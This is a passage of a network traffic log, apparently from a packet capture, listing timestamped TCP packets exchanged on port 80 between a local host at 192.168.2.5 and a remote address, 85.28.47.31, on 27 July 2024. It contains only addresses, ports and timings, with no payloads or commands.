Jul 27, 2024 09:25:06.132302999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132302999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132302999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132312059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132330894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132355928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132363081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132396936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132411003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132431030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132442951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132463932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132474899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132519960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132589102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132623911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132638931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132657051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132668972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132690907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132708073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132724047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132733107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132757902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132771015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132791996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132805109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132807016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132822037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132832050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132838011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132850885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132853031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132867098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132869959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132886887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132885933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132903099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132911921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132911921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132917881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132931948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132936001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132951975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132957935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132957935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132971048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132982016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132982016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132986069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133002043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133007050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133018970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133029938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133033991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133045912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133049965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133064985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133070946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133070946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133081913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133090973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133096933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133112907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133109093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133128881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133130074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133146048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133153915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133153915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133167982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133172989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133192062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133193016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133207083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133215904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133223057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133235931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133238077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133250952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133253098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133269072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133270025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133285046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133295059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133295059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133301973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133313894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133316040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133332968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133339882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133339882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133347988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133359909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133363962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133379936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133379936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133395910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133404970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133404970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133413076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133424044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133429050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133443117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133445978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133471012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133471012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133488894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133760929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133775949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133790970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133805990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133805990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133821011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133831978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133832932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133836985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133852959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133852959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133867979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133878946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133879900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133884907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133899927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133903980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133915901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133924961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133924961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133929968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133944988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133949041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133960962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133968115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133976936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.133982897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.133991957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134007931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134020090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134038925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134057045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134406090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134422064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134437084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134453058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134457111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134474993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134478092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134493113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134499073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134499073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134507895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134521008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134522915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134536982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134540081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134555101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134562016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134572029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134577990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134588003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134603024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134603977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134603977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134618998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134624958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134634972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134649992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134654999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134654999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134665966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.134679079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134679079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134697914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.134715080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135077000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135092974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135114908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135118008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135133028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135133982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135149956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135154963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135164976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135174036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135180950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135193110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135195971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135211945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135214090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135227919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135232925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135242939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135252953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135252953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135260105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135276079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135291100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135309935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135519981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135545969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135561943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135567904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135577917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135587931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135593891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135607004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135608912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135626078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135632992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135632992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135641098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.135653019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135677099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.135677099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.231895924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.231967926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232004881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232038975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232079029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232079029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232079983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232091904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232125998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232131958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232157946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232161999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232176065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232196093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232204914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232229948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232244015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232263088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232285023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232295990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232306957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232327938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232346058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232362032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232372046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232393980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232408047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232429981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232439041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232467890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232494116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232520103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232744932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232778072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232795000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232812881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232820034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232862949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232873917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232899904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232917070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232933998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232947111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.232969046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.232985973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233001947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233011007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233036995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233047962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233069897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233079910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233103991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233119011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233124018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233139038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233148098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233166933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233181000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233187914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233203888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233217955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233228922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233234882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233244896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233251095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233268023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233273029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233273029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233285904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233295918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233314991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233329058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233539104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233555079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233570099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233576059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233586073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233592987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233618021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233649015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233681917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233696938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233711004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233724117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233726025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233741045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233742952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233760118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233767033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233767033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233788013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233805895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233840942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233856916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233870983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233880997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233886003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233900070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233901978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233915091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233918905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233933926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233938932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233938932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233951092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233962059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233968973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233980894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233983994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.233998060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.233999968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234015942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234023094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234023094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234046936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234046936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.234405994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234421968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.234438896 CEST	80	49704	85.28.47.31	192.168.2.5
